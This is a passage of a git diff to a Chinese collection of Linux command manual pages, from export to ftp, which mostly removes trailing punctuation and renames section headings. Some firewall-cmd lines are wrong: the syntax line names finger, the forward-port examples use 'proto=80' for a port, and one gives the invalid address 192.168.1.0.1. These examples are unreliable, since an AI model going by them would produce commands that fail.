选项 ```markdown --f:代表[变量名称]中为函数名称; --n:删除指定的变量。变量实际上并未删除,只是不会输出到后续指令的执行环境中; --p:列出所有的shell赋予程序的环境变量。 +-f:代表[变量名称]中为函数名称 +-n:删除指定的变量。变量实际上并未删除,只是不会输出到后续指令的执行环境中 +-p:列出所有的shell赋予程序的环境变量 ``` ## 实例 diff --git a/Linux_man_cn/exportfs.md b/Linux_man_cn/exportfs.md index 9e361bb..7b0a1ad 100644 --- a/Linux_man_cn/exportfs.md +++ b/Linux_man_cn/exportfs.md @@ -5,18 +5,18 @@ exportfs ## 说明 -exportfs 命令用来管理当前NFS共享的文件系统列表。 +exportfs 命令用来管理当前NFS共享的文件系统列表 参数: ``` --a 打开或取消所有目录共享。 --o options,...指定一列共享选项,与 exports(5) 中讲到的类似。 --i 忽略 /etc/exports 文件,从而只使用默认的和命令行指定的选项。 --r 重新共享所有目录。它使 /var/lib/nfs/xtab 和 /etc/exports 同步。 它将 /etc/exports 中已删除的条目从 /var/lib/nfs/xtab 中删除,将内核共享表中任何不再有效的条目移除。 --u 取消一个或多个目录的共享。 --f 在“新”模式下,刷新内核共享表之外的任何东西。 任何活动的客户程序将在它们的下次请求中得到 mountd添加的新的共享条目。 --v 输出详细信息。当共享或者取消共享时,显示在做什么。 显示当前共享列表的时候,同时显示共享的选项。 +-a 打开或取消所有目录共享 +-o options,...指定一列共享选项,与 exports(5) 中讲到的类似 +-i 忽略 /etc/exports 文件,从而只使用默认的和命令行指定的选项 +-r 重新共享所有目录。它使 /var/lib/nfs/xtab 和 /etc/exports 同步。 它将 /etc/exports 中已删除的条目从 /var/lib/nfs/xtab 中删除,将内核共享表中任何不再有效的条目移除 +-u 取消一个或多个目录的共享 +-f 在“新”模式下,刷新内核共享表之外的任何东西。 任何活动的客户程序将在它们的下次请求中得到 mountd添加的新的共享条目 +-v 输出详细信息。当共享或者取消共享时,显示在做什么。 显示当前共享列表的时候,同时显示共享的选项 ``` diff --git a/Linux_man_cn/expr.md b/Linux_man_cn/expr.md index 925c4d2..bd8e61b 100644 --- a/Linux_man_cn/expr.md +++ b/Linux_man_cn/expr.md @@ -5,9 +5,9 @@ expr ## 说明 -**expr命令** 是一款表达式计算工具,使用它完成表达式的求值操作。 +**expr命令** 是一款表达式计算工具,使用它完成表达式的求值操作 -### 语法 +## 选项 ```sh @@ -17,7 +17,7 @@ expr --help 显示此帮助信息并退出 --version 显示版本信息并退出 -将表达式的值列印到标准输出,分隔符下面的空行可提升算式优先级。 +将表达式的值列印到标准输出,分隔符下面的空行可提升算式优先级 可用的表达式有: ARG1 | ARG2 若ARG1 的值不为0 或者为空,则返回ARG1,否则返回ARG2 @@ -49,34 +49,34 @@ expr ( EXPRESSION ) value of EXPRESSION -请注意有许多运算操作符都可能需要由 shell 先实施转义。 -如果参与运算的 ARG 自变量都是数字,比较符就会被视作数学符号,否则就是多义的。 -模式匹配会返回"\"和"\"之间被匹配的子字符串或空(null);如果未使用"\"和"\", -则会返回匹配字符数量或是 0。 +请注意有许多运算操作符都可能需要由 shell 先实施转义 +如果参与运算的 ARG 自变量都是数字,比较符就会被视作数学符号,否则就是多义的 +模式匹配会返回"\"和"\"之间被匹配的子字符串或空(null);如果未使用"\"和"\" +则会返回匹配字符数量或是 0 -若表达式的值既不是空也不是 0,退出状态值为 0;若表达式的值为空或为 0, -退出状态值为 1。如果表达式的句法无效,则会在出错时返回退出状态值 3。 +若表达式的值既不是空也不是 0,退出状态值为 0;若表达式的值为空或为 0 +退出状态值为 1。如果表达式的句法无效,则会在出错时返回退出状态值 3 ``` ``` ---help:显示指令的帮助信息; ---version:显示指令版本信息。 +--help:显示指令的帮助信息 +--version:显示指令版本信息 ``` ### 参数 -表达式:要求值的表达式。 +表达式:要求值的表达式 -### 实例 +## 实例 ``` result=`expr 2 + 3` result=$(expr $no1 + 5) -expr也有模式匹配功能。可以使用expr通过指定冒号选项计算字符串中字符数。.*意即任何字符重复0次或多次。 +expr也有模式匹配功能。可以使用expr通过指定冒号选项计算字符串中字符数。.*意即任何字符重复0次或多次 expr dfa : '[a-zA-Z]*' #输出是3 ``` diff --git a/Linux_man_cn/fc.md b/Linux_man_cn/fc.md index b1d3f45..2c3c6f8 100644 --- a/Linux_man_cn/fc.md +++ b/Linux_man_cn/fc.md @@ -5,9 +5,9 @@ fc ## 说明 -**fc命令** 自动掉用vi编辑器修改已有历史命令,当保存时立即执行修改后的命令,也可以用来显示历史命令。fc命令编辑历史命令时,会自动调用vi编辑器。fc保存文件后,会自动执行所编辑过的命令。 +**fc命令** 自动掉用vi编辑器修改已有历史命令,当保存时立即执行修改后的命令,也可以用来显示历史命令。fc命令编辑历史命令时,会自动调用vi编辑器。fc保存文件后,会自动执行所编辑过的命令 -### 语法 +## 选项 ``` fc [-e 编辑器名] [-lnr] [起始] [终结] @@ -17,17 +17,17 @@ fc -s [模式=替换串] [命令] ``` --l:显示历史命令; --n:显示历史命令时,不显示编号; --r:反序显示历史命令。 +-l:显示历史命令 +-n:显示历史命令时,不显示编号 +-r:反序显示历史命令 ``` ### 参数 -* 起始指令编号:指定要编辑的起始指令编号; -* 结尾指令编号:指定要编辑的结尾指令编号。 +* 起始指令编号:指定要编辑的起始指令编号 +* 结尾指令编号:指定要编辑的结尾指令编号 -### 实例 +## 实例 使用该指令显示最近使用的10条历史命令,输入如下命令: @@ -51,7 +51,7 @@ fc -s [模式=替换串] [命令] fc 1040 #编辑第1040条历史命令 ``` -命令执行成功后,将自动调用vi编辑器编辑指定的命令,编辑完成后保存,会自动执行修改后的命令。当用户在vi编辑器中修改指令并保存后,被修改的命令会被自动调用并执行。 +命令执行成功后,将自动调用vi编辑器编辑指定的命令,编辑完成后保存,会自动执行修改后的命令。当用户在vi编辑器中修改指令并保存后,被修改的命令会被自动调用并执行 diff --git a/Linux_man_cn/fdisk.md b/Linux_man_cn/fdisk.md index e3839b3..b68f447 100644 --- a/Linux_man_cn/fdisk.md +++ b/Linux_man_cn/fdisk.md @@ -2,7 +2,7 @@ ## 说明 -**fdisk命令** 用于观察硬盘实体使用情况,也可对硬盘分区。它采用传统的问答式界面,而非类似DOSfdisk的cfdisk互动式操作界面, +**fdisk命令** 用于观察硬盘实体使用情况,也可对硬盘分区。它采用传统的问答式界面,而非类似DOSfdisk的cfdisk互动式操作界面 因此在使用上较为不便,但功能却丝毫不打折扣 ## 选项 diff --git a/Linux_man_cn/fg.md b/Linux_man_cn/fg.md index b684454..700e139 100644 --- a/Linux_man_cn/fg.md +++ b/Linux_man_cn/fg.md @@ -5,11 +5,11 @@ fg ## 说明 -**fg命令** 用于将后台作业(在后台运行的或者在后台挂起的作业)放到前台终端运行。与bg命令一样,若后台任务中只有一个,则使用该命令时,可以省略任务号。 +**fg命令** 用于将后台作业(在后台运行的或者在后台挂起的作业)放到前台终端运行。与bg命令一样,若后台任务中只有一个,则使用该命令时,可以省略任务号 -在Linux系统中执行某些操作时候,有时需要将当前任务暂停调至后台,或有时须将后台暂停的任务重启开启并调至前台,这一序列的操作将会使用到 jobs、bg、和 fg 三个命令以及两个快捷键来完成。 +在Linux系统中执行某些操作时候,有时需要将当前任务暂停调至后台,或有时须将后台暂停的任务重启开启并调至前台,这一序列的操作将会使用到 jobs、bg、和 fg 三个命令以及两个快捷键来完成 -### 语法 +## 选项 ``` fg(参数) @@ -17,9 +17,9 @@ fg(参数) ### 参数 -作业标识:指定要放到前台的作业标识号。 +作业标识:指定要放到前台的作业标识号 -### 实例 +## 实例 使用fg命令将任务号为1的任务从后台执行转换到前台执行,输入如下命令: diff --git a/Linux_man_cn/fgrep.md b/Linux_man_cn/fgrep.md index 157115b..28ef798 100644 --- a/Linux_man_cn/fgrep.md +++ b/Linux_man_cn/fgrep.md @@ -5,19 +5,19 @@ fgrep ## 说明 -**fgrep命令** 是用来搜索 file 参数指定的输入文件(缺省为标准输入)中的匹配模式的行。fgrep 命令特别搜索 Pattern 参数,它们是固定的字符串。如果在 File 参数中指定一个以上的文件 fgrep 命令将显示包含匹配行的文件。 +**fgrep命令** 是用来搜索 file 参数指定的输入文件(缺省为标准输入)中的匹配模式的行。fgrep 命令特别搜索 Pattern 参数,它们是固定的字符串。如果在 File 参数中指定一个以上的文件 fgrep 命令将显示包含匹配行的文件 -fgrep 命令于 grep 和 egrep 命令不同,因为它搜索字符串而不是搜索匹配表达式的模式。fgrep 命令使用快速的压缩算法。`$, *, [, |, (, )`和`\`等字符串被 fgrep 命令按字面意思解释。这些字符并不解释为正则表达式,但它们在 grep 和 egrep 命令中解释为正则表达式。因为这些字符对于 shell 有特定的含义,完整的字符串应该加上单引号`‘ ... ’`。. 如果没有指定文件, fgrep 命令假定标准输入。一般,找到的每行都复制到标准输出中去。如果不止一个输入文件,则在找到的每行前打印文件名。 +fgrep 命令于 grep 和 egrep 命令不同,因为它搜索字符串而不是搜索匹配表达式的模式。fgrep 命令使用快速的压缩算法。`$, *, [, |, (, )`和`\`等字符串被 fgrep 命令按字面意思解释。这些字符并不解释为正则表达式,但它们在 grep 和 egrep 命令中解释为正则表达式。因为这些字符对于 shell 有特定的含义,完整的字符串应该加上单引号`‘ ... ’`。. 如果没有指定文件, fgrep 命令假定标准输入。一般,找到的每行都复制到标准输出中去。如果不止一个输入文件,则在找到的每行前打印文件名 -1. fgrep 命令和带 -F 标志的 grep命令是一样的但出错和用法消息不同-s 标志功能也不同。 -2. 每行限制在 2048 个字节。 -3. 段落(-p 标志下)目前限制在5000个字符的长度。 -4. 不要在特定的文件中运行 grep 命令,因为会产生不可预料的结果。 -5. 输入行不能包含空字符。 -6. 输入文件应该以换行字符结尾。 -7. 虽然可以同时指定很多标志,但某些标志会覆盖其余的标志。例如,如果同时指定 -l 和 -n ,只有文件名写入到标准输出中去。 +1. fgrep 命令和带 -F 标志的 grep命令是一样的但出错和用法消息不同-s 标志功能也不同 +2. 每行限制在 2048 个字节 +3. 段落(-p 标志下)目前限制在5000个字符的长度 +4. 不要在特定的文件中运行 grep 命令,因为会产生不可预料的结果 +5. 输入行不能包含空字符 +6. 输入文件应该以换行字符结尾 +7. 虽然可以同时指定很多标志,但某些标志会覆盖其余的标志。例如,如果同时指定 -l 和 -n ,只有文件名写入到标准输出中去 -### 语法 +## 选项 ``` fgrep(选项)(参数) @@ -26,32 +26,32 @@ fgrep(选项)(参数) ``` --b:在找到的每行之前添加行所在的块编号。使用此标志有助于按照上下文查找磁盘块号码。-b 标志不能用于标准输入或者管道输入。 --c:仅显示匹配行的计数。 --e 模式:指定模式。这个工作模式很简单,但当此模式以 a-(减号) 开头时却是很有用的。 --f StringFile:指定包含字符串的文件。 --h:当多个文件被处理时隐藏文件名。 --i:当进行比较时忽略字母的大小写。 --l:只列出包含匹配行的文件名(一次)。文件名之间用换行符分隔。 -n:将文件中每行的相对行号置于行前。 --pSeparator:显示包含匹配行的整个段落。段落之间将按照Separator参数指定的段落分隔符加以分隔,这些分隔符是与搜索模式有着相同格式的模式。包含段落分隔符的行将仅用作分隔符;它们不会被包含在输出中。缺省的段落分隔符是空白行。 --q:禁止所有写入到标准输出的操作,不管是否为匹配行。如果选中输入行,以 0 状态退出。 --s:仅显示出错消息。这在检查状态时很有用。 --v:显示除了匹配特定模式的行以外的所有行。 --w:执行单词搜索。 --x:显示匹配模式的行,要求无额外的字符。 --y:当进行比较时忽略字符的大小写。 +-b:在找到的每行之前添加行所在的块编号。使用此标志有助于按照上下文查找磁盘块号码。-b 标志不能用于标准输入或者管道输入 +-c:仅显示匹配行的计数 +-e 模式:指定模式。这个工作模式很简单,但当此模式以 a-(减号) 开头时却是很有用的 +-f StringFile:指定包含字符串的文件 +-h:当多个文件被处理时隐藏文件名 +-i:当进行比较时忽略字母的大小写 +-l:只列出包含匹配行的文件名(一次)。文件名之间用换行符分隔 +n:将文件中每行的相对行号置于行前 +-pSeparator:显示包含匹配行的整个段落。段落之间将按照Separator参数指定的段落分隔符加以分隔,这些分隔符是与搜索模式有着相同格式的模式。包含段落分隔符的行将仅用作分隔符;它们不会被包含在输出中。缺省的段落分隔符是空白行 +-q:禁止所有写入到标准输出的操作,不管是否为匹配行。如果选中输入行,以 0 状态退出 +-s:仅显示出错消息。这在检查状态时很有用 +-v:显示除了匹配特定模式的行以外的所有行 +-w:执行单词搜索 +-x:显示匹配模式的行,要求无额外的字符 +-y:当进行比较时忽略字符的大小写 ``` 此命令返回以下出口值: ``` -0 找到匹配项。 -1 未找到匹配项。 ->1 发现语法错误,或者文件不可访问(即使找到了匹配项)。 +0 找到匹配项 +1 未找到匹配项 +>1 发现语法错误,或者文件不可访问(即使找到了匹配项) ``` -### 实例 +## 实例 **搜索几个文件中的一个简单字符串:** @@ -59,7 +59,7 @@ n:将文件中每行的相对行号置于行前。 fgrep strcpy *.c ``` -在当前目录下所有以 .c 字符串结尾的文件中搜索字符串 strcpy。 +在当前目录下所有以 .c 字符串结尾的文件中搜索字符串 strcpy **计数匹配某模式的行数:** @@ -67,7 +67,7 @@ fgrep strcpy *.c fgrep -c 『{』pgm.cfgrep -c 『}』pgm.c ``` -显示在 pgm.c 中包含左括号和右括号的行的数目。 +显示在 pgm.c 中包含左括号和右括号的行的数目 如果在您的 C 程序中一行中没有包含多于一个 { (左括号) 或者 } (右括号),并且括号正确匹配,那么这两个数字将是一样的。如果这两个数字不一样,您可以将包含括号的行按照他们在文件中的位置顺序显示出来,使用以下命令: @@ -81,6 +81,6 @@ egrep {\|} pgm.c fgrep -l strcpy *.c ``` -搜索当前目录下以 .c 结尾的文件,然后显示包含 strcpy 字符串的文件名。 +搜索当前目录下以 .c 结尾的文件,然后显示包含 strcpy 字符串的文件名 diff --git a/Linux_man_cn/find.md b/Linux_man_cn/find.md index 7fbe76b..2af4ffb 100644 --- a/Linux_man_cn/find.md +++ b/Linux_man_cn/find.md @@ -129,9 +129,10 @@ find /home -iname "*.txt" -print # 查看home目录下以txt结尾的文件 find /home ! -name "*.txt" -print # 找出/home下不是以.txt结尾的文件 find /usr/ -path "*local*" -print # 匹配文件路径或者文件,path后路径可以是多级的子目录 -# -prune 使用这一选项可以使find命令不在当前指定的目录中查找,如果同时使用-depth选项,那么-prune将被find命令忽略 +# -prune使用这一选项可以使find命令不在当前指定的目录中查找,如果同时使用-depth选项,那么-prune将被find命令忽略 find . -path "./sk" -prune -o -name "*.txt" -print # 查找当前目录或者子目录下所有.txt文件,但是跳过子目录sk -find /usr/sam \( -path /usr/sam/dir1 -o -path /usr/sam/file1 \) -prune -o -print # 排除多个目录 +find /usr/sam \( -path /usr/sam/dir1 -o -path /usr/sam/file1 \) -prune -o -print # 排除多个目录,-path必须在-prune之前 +find /usr/sam ! -path /usr/sam/dir1 # !也可以用来排除目录 # 当前目录及子目录下查找所有以.txt和.pdf结尾的文件 find . -name "*.txt" -o -name "*.pdf" -print @@ -211,7 +212,7 @@ find . -type f 时间戳,UNIX/Linux文件系统每个文件都有三种时间戳 * atime:访问时间(-atime/天,-amin/分钟):用户最近一次访问时间。当备份实用程序或脚本已读取文件以及用户已读取文件时,atime也会更改 * mtime:修改时间(-mtime/天,-mmin/分钟):文件最后一次修改时间。文件系统备份会随时更改,而原始设备备份不会更改。要实施增量或差异备份很重要 -* 变化时间(-ctime/天,-cmin/分钟):文件数据元(例如权限等)最后一次修改时间。 +* 变化时间(-ctime/天,-cmin/分钟):文件数据元(例如权限等)最后一次修改时间 comment find . -type f -atime -7 # 搜索最近七天内被访问过的所有文件 diff --git a/Linux_man_cn/findfs.md b/Linux_man_cn/findfs.md index 146e072..a23c4b0 100644 --- a/Linux_man_cn/findfs.md +++ b/Linux_man_cn/findfs.md @@ -5,9 +5,9 @@ findfs ## 说明 -**findfs命令** 依据卷标(Label)和UUID查找文件系统所对应的设备文件。findfs命令会搜索整个磁盘,看是否有匹配的标签或者UUID没有,如果有则打印到标注输出上。findfs命令也是e2fsprogs项目的一部分。 +**findfs命令** 依据卷标(Label)和UUID查找文件系统所对应的设备文件。findfs命令会搜索整个磁盘,看是否有匹配的标签或者UUID没有,如果有则打印到标注输出上。findfs命令也是e2fsprogs项目的一部分 -### 语法 +## 选项 ``` findfs(参数) @@ -15,9 +15,9 @@ findfs(参数) ### 参数 -`LABEL=<卷标>`或者`UUID=`:按照卷标或者UUID查询文件系统。 +`LABEL=<卷标>`或者`UUID=`:按照卷标或者UUID查询文件系统 -### 实例 +## 实例 通过卷标名查找对应的文件系统: diff --git a/Linux_man_cn/finger.md b/Linux_man_cn/finger.md index 119266b..9ed8933 100644 --- a/Linux_man_cn/finger.md +++ b/Linux_man_cn/finger.md @@ -8,13 +8,13 @@ ## 选项 ```markdown --l:列出该用户的帐号名称,真实姓名,用户专属目录,登入所用的Shell,登入时间,转信地址,电子邮件状态,还有计划文件和方案文件内容; --m:排除查找用户的真实姓名; --s:列出该用户的帐号名称,真实姓名,登入终端机,闲置时间,登入时间以及地址和电话; +-l:列出该用户的帐号名称,真实姓名,用户专属目录,登入所用的Shell,登入时间,转信地址,电子邮件状态,还有计划文件和方案文件内容 +-m:排除查找用户的真实姓名 +-s:列出该用户的帐号名称,真实姓名,登入终端机,闲置时间,登入时间以及地址和电话 -p:列出该用户的帐号名称,真实姓名,用户专属目录,登入所用的Shell,登入时间,转信地址,电子邮件状态,但不显示该用户的计划文件和方案文件内容 不指定finger的选项如果提供操作者的话,缺省设为`-l`输出风格,否则为`-s`风格,注意在两种格式中,如果信息不足,都有一些域可能丢失,如果没有 -指定参数finger会为当前登录的每个用户打印一个条目。 +指定参数finger会为当前登录的每个用户打印一个条目 ``` ## 实例 diff --git a/Linux_man_cn/firewall-cmd.md b/Linux_man_cn/firewall-cmd.md index d9f0495..3fd30e3 100644 --- a/Linux_man_cn/firewall-cmd.md +++ b/Linux_man_cn/firewall-cmd.md @@ -1,29 +1,29 @@ firewall-cmd === -Linux上新用的防火墙软件,跟iptables差不多的工具。 +Linux上新用的防火墙软件,跟iptables差不多的工具 ## 说明 -firewall-cmd 是 firewalld的字符界面管理工具,firewalld是centos7的一大特性,最大的好处有两个:支持动态更新,不用重启服务;第二个就是加入了防火墙的“zone”概念。 +firewall-cmd 是 firewalld的字符界面管理工具,firewalld是centos7的一大特性,最大的好处有两个:支持动态更新,不用重启服务;第二个就是加入了防火墙的“zone”概念 firewalld跟iptables比起来至少有两大好处: -1. firewalld可以动态修改单条规则,而不需要像iptables那样,在修改了规则后必须得全部刷新才可以生效。 -2. firewalld在使用上要比iptables人性化很多,即使不明白“五张表五条链”而且对TCP/IP协议也不理解也可以实现大部分功能。 +1. firewalld可以动态修改单条规则,而不需要像iptables那样,在修改了规则后必须得全部刷新才可以生效 +2. firewalld在使用上要比iptables人性化很多,即使不明白“五张表五条链”而且对TCP/IP协议也不理解也可以实现大部分功能 -firewalld自身并不具备防火墙的功能,而是和iptables一样需要通过内核的netfilter来实现,也就是说firewalld和 iptables一样,他们的作用都是用于维护规则,而真正使用规则干活的是内核的netfilter,只不过firewalld和iptables的结 构以及使用方法不一样罢了。 +firewalld自身并不具备防火墙的功能,而是和iptables一样需要通过内核的netfilter来实现,也就是说firewalld和 iptables一样,他们的作用都是用于维护规则,而真正使用规则干活的是内核的netfilter,只不过firewalld和iptables的结 构以及使用方法不一样罢了 -### 语法 +## 选项 ``` finger(选项)(参数) ``` -### 实例 +## 实例 ```bash # 安装firewalld @@ -162,7 +162,7 @@ firewall-cmd --reload **控制端口 / 服务** -可以通过两种方式控制端口的开放,一种是指定端口号另一种是指定服务名。虽然开放 http 服务就是开放了 80 端口,但是还是不能通过端口号来关闭,也就是说通过指定服务名开放的就要通过指定服务名关闭;通过指定端口号开放的就要通过指定端口号关闭。还有一个要注意的就是指定端口的时候一定要指定是什么协议,tcp 还是 udp。知道这个之后以后就不用每次先关防火墙了,可以让防火墙真正的生效。 +可以通过两种方式控制端口的开放,一种是指定端口号另一种是指定服务名。虽然开放 http 服务就是开放了 80 端口,但是还是不能通过端口号来关闭,也就是说通过指定服务名开放的就要通过指定服务名关闭;通过指定端口号开放的就要通过指定端口号关闭。还有一个要注意的就是指定端口的时候一定要指定是什么协议,tcp 还是 udp。知道这个之后以后就不用每次先关防火墙了,可以让防火墙真正的生效 ```bash firewall-cmd --add-service=mysql # 开放mysql端口 @@ -184,7 +184,7 @@ firewall-cmd --remove-masquerade# 禁止防火墙伪装IP **端口转发** -端口转发可以将指定地址访问指定的端口时,将流量转发至指定地址的指定端口。转发的目的如果不指定 ip 的话就默认为本机,如果指定了 ip 却没指定端口,则默认使用来源端口。 +端口转发可以将指定地址访问指定的端口时,将流量转发至指定地址的指定端口。转发的目的如果不指定 ip 的话就默认为本机,如果指定了 ip 却没指定端口,则默认使用来源端口 如果配置好端口转发之后不能用,可以检查下面两个问题: 1. 比如我将 80 端口转发至 8080 端口,首先检查本地的 80 端口和目标的 8080 端口是否开放监听了 2. 其次检查是否允许伪装 IP,没允许的话要开启伪装 IP @@ -195,5 +195,5 @@ firewall-cmd --add-forward-port=proto=80:proto=tcp:toaddr=192.168.1.0.1 # 将80 firewall-cmd --add-forward-port=proto=80:proto=tcp:toaddr=192.168.0.1:toport=8080 # 将80端口的流量转发至192.168.0.1的8080端口 ``` -1. 当我们想把某个端口隐藏起来的时候,就可以在防火墙上阻止那个端口访问,然后再开一个不规则的端口,之后配置防火墙的端口转发,将流量转发过去。 -2. 端口转发还可以做流量分发,一个防火墙拖着好多台运行着不同服务的机器,然后用防火墙将不同端口的流量转发至不同机器。 +1. 当我们想把某个端口隐藏起来的时候,就可以在防火墙上阻止那个端口访问,然后再开一个不规则的端口,之后配置防火墙的端口转发,将流量转发过去 +2. 端口转发还可以做流量分发,一个防火墙拖着好多台运行着不同服务的机器,然后用防火墙将不同端口的流量转发至不同机器 diff --git a/Linux_man_cn/fmt.md b/Linux_man_cn/fmt.md index 35507eb..ac4268e 100644 --- a/Linux_man_cn/fmt.md +++ b/Linux_man_cn/fmt.md @@ -5,9 +5,9 @@ fmt ## 说明 -**fmt命令** 读取文件的内容,根据选项的设置对文件格式进行简单的优化处理,并将结果送到标准输出设备。 +**fmt命令** 读取文件的内容,根据选项的设置对文件格式进行简单的优化处理,并将结果送到标准输出设备 -### 语法 +## 选项 ``` fmt(选项)(参数) @@ -16,16 +16,16 @@ fmt(选项)(参数) ``` --c或--crown-margin:每段前两列缩排; --p<列起始字符串>或-prefix=<列起始字符串>:仅合并含有指定字符串的列,通常运用在程序语言的注解方面; --s或--split-only:只拆开字数超出每列字符数的列,但不合并字数不足每列字符数的列; --t或--tagged-paragraph:每列前两列缩排,但第1列和第2列的缩排格式不同; --u或--uniform-spacing:每列字符之间都以一个空格字符间隔,每个句子之间则两个空格字符分隔; --w<每列字符数>或--width=<每列字符数>或-<每列字符数>:设置每列的最大字符数。 +-c或--crown-margin:每段前两列缩排 +-p<列起始字符串>或-prefix=<列起始字符串>:仅合并含有指定字符串的列,通常运用在程序语言的注解方面 +-s或--split-only:只拆开字数超出每列字符数的列,但不合并字数不足每列字符数的列 +-t或--tagged-paragraph:每列前两列缩排,但第1列和第2列的缩排格式不同 +-u或--uniform-spacing:每列字符之间都以一个空格字符间隔,每个句子之间则两个空格字符分隔 +-w<每列字符数>或--width=<每列字符数>或-<每列字符数>:设置每列的最大字符数 ``` ### 参数 -指定要优化格式的文件。 +指定要优化格式的文件 diff --git a/Linux_man_cn/fold.md b/Linux_man_cn/fold.md index 594bec2..a938fa8 100644 --- a/Linux_man_cn/fold.md +++ b/Linux_man_cn/fold.md @@ -5,9 +5,9 @@ fold ## 说明 -**fold命令** 用于控制文件内容输出时所占用的屏幕宽度。fold命令会从指定的文件里读取内容,将超过限定列宽的列加入增列字符后,输出到标准输出设备。若不指定任何文件名称,或是所给予的文件名为“-”,则fold指令会从标准输入设备读取数据。 +**fold命令** 用于控制文件内容输出时所占用的屏幕宽度。fold命令会从指定的文件里读取内容,将超过限定列宽的列加入增列字符后,输出到标准输出设备。若不指定任何文件名称,或是所给予的文件名为“-”,则fold指令会从标准输入设备读取数据 -### 语法 +## 选项 ``` fold(选项)(参数) @@ -16,13 +16,13 @@ fold(选项)(参数) ``` --b或——bytes:以Byte为单位计算列宽,而非采用行数编号为单位; --s或——spaces:以空格字符作为换列点; --w<每列行数>或--width<每列行数>:设置每列的最大行数。 +-b或——bytes:以Byte为单位计算列宽,而非采用行数编号为单位 +-s或——spaces:以空格字符作为换列点 +-w<每列行数>或--width<每列行数>:设置每列的最大行数 ``` ### 参数 -文件:指定要显示内容的文件。 +文件:指定要显示内容的文件 diff --git a/Linux_man_cn/free.md b/Linux_man_cn/free.md index 939605a..1079851 100644 --- a/Linux_man_cn/free.md +++ b/Linux_man_cn/free.md @@ -60,19 +60,19 @@ available 估计可用于启动新应用程序的内存量,而无需交换 为了提高磁盘存取效率, Linux做了一些精心的设计, 除了对dentry进行缓存(用于VFS,加速文件路径名到inode的转换), 还采取了两种主要Cache方式: -Buffer Cache和Page Cache。前者针对磁盘块的读写,后者针对文件inode的读写。这些Cache有效缩短了 I/O系统调用(比如read,write,getdents)的时间。 -磁盘的操作有逻辑级(文件系统)和物理级(磁盘块),这两种Cache就是分别缓存逻辑和物理级数据的。 +Buffer Cache和Page Cache。前者针对磁盘块的读写,后者针对文件inode的读写。这些Cache有效缩短了 I/O系统调用(比如read,write,getdents)的时间 +磁盘的操作有逻辑级(文件系统)和物理级(磁盘块),这两种Cache就是分别缓存逻辑和物理级数据的 Page cache实际上是针对文件系统的,是文件的缓存,在文件层面上的数据会缓存到page cache。文件的逻辑层需要映射到实际的物理磁盘,这种映射关系由 -文件系统来完成。当page cache的数据需要刷新时,page cache中的数据交给buffer cache,因为Buffer Cache就是缓存磁盘块的。但是这种处理在2.6版本的内核之后就变的很简单了,没有真正意义上的cache操作。 +文件系统来完成。当page cache的数据需要刷新时,page cache中的数据交给buffer cache,因为Buffer Cache就是缓存磁盘块的。但是这种处理在2.6版本的内核之后就变的很简单了,没有真正意义上的cache操作 -Buffer cache是针对磁盘块的缓存,也就是在没有文件系统的情况下,直接对磁盘进行操作的数据会缓存到buffer cache中,例如,文件系统的元数据都会缓存到buffer cache中。 +Buffer cache是针对磁盘块的缓存,也就是在没有文件系统的情况下,直接对磁盘进行操作的数据会缓存到buffer cache中,例如,文件系统的元数据都会缓存到buffer cache中 -简单说来,page cache用来缓存文件数据,buffer cache用来缓存磁盘数据。在有文件系统的情况下,对文件操作,那么数据会缓存到page cache,如果直接采用dd等工具对磁盘进行读写,那么数据会缓存到buffer cache。 +简单说来,page cache用来缓存文件数据,buffer cache用来缓存磁盘数据。在有文件系统的情况下,对文件操作,那么数据会缓存到page cache,如果直接采用dd等工具对磁盘进行读写,那么数据会缓存到buffer cache 所以我们看linux,只要不用swap的交换空间,就不用担心自己的内存太少.如果常常swap用很多,可能你就要考虑加物理内存了.这也是linux看内存是否够用的标准. -如果是应用服务器的话,+buffers/cache,即对应用程序来说free的内存太少了,也是该考虑优化程序或加内存了。 +如果是应用服务器的话,+buffers/cache,即对应用程序来说free的内存太少了,也是该考虑优化程序或加内存了 ``` diff --git a/Linux_man_cn/fsck.md b/Linux_man_cn/fsck.md index 335a772..4ff1d9c 100644 --- a/Linux_man_cn/fsck.md +++ b/Linux_man_cn/fsck.md @@ -5,9 +5,9 @@ ## 说明 -**fsck命令** 被用于检查并且试图修复文件系统中的错误。当文件系统发生错误四化,可用fsck指令尝试加以修复。 +**fsck命令** 被用于检查并且试图修复文件系统中的错误。当文件系统发生错误四化,可用fsck指令尝试加以修复 -### 语法 +## 选项 ``` fsck(选项)(参数) @@ -16,23 +16,23 @@ fsck(选项)(参数) ``` --a:自动修复文件系统,不询问任何问题; --A:依照/etc/fstab配置文件的内容,检查文件内所列的全部文件系统; --N:不执行指令,仅列出实际执行会进行的动作; --P:当搭配"-A"参数使用时,则会同时检查所有的文件系统; --r:采用互动模式,在执行修复时询问问题,让用户得以确认并决定处理方式; --R:当搭配"-A"参数使用时,则会略过/目录的文件系统不予检查; --s:依序执行检查作业,而非同时执行; --t<文件系统类型>:指定要检查的文件系统类型; --T:执行fsck指令时,不显示标题信息; --V:显示指令执行过程。 +-a:自动修复文件系统,不询问任何问题 +-A:依照/etc/fstab配置文件的内容,检查文件内所列的全部文件系统 +-N:不执行指令,仅列出实际执行会进行的动作 +-P:当搭配"-A"参数使用时,则会同时检查所有的文件系统 +-r:采用互动模式,在执行修复时询问问题,让用户得以确认并决定处理方式 +-R:当搭配"-A"参数使用时,则会略过/目录的文件系统不予检查 +-s:依序执行检查作业,而非同时执行 +-t<文件系统类型>:指定要检查的文件系统类型 +-T:执行fsck指令时,不显示标题信息 +-V:显示指令执行过程 ``` ### 参数 -文件系统:指定要查看信息的文件系统。 +文件系统:指定要查看信息的文件系统 -### 实例 +## 实例 linux的文件系统损坏会导致linux不正常关机,出错的时候如果系统告诉你是哪一块硬盘的分区有问题,比如是`/dev/hda2`,接着用如下的命令去对付它: diff --git a/Linux_man_cn/ftp.md b/Linux_man_cn/ftp.md index 0e940e1..6ffa375 100644 --- a/Linux_man_cn/ftp.md +++ b/Linux_man_cn/ftp.md @@ -5,9 +5,9 @@ ftp ## 说明 -**ftp命令** 用来设置文件系统相关功能。ftp服务器在网上较为常见,Linux ftp命令的功能是用命令的方式来控制在本地机和远程机之间传送文件,这里详细介绍Linux ftp命令的一些经常使用的命令,相信掌握了这些使用Linux进行ftp操作将会非常容易。 +**ftp命令** 用来设置文件系统相关功能。ftp服务器在网上较为常见,Linux ftp命令的功能是用命令的方式来控制在本地机和远程机之间传送文件,这里详细介绍Linux ftp命令的一些经常使用的命令,相信掌握了这些使用Linux进行ftp操作将会非常容易 -### 语法 +## 选项 ``` ftp(选项)(参数) @@ -16,18 +16,18 @@ ftp(选项)(参数) ``` 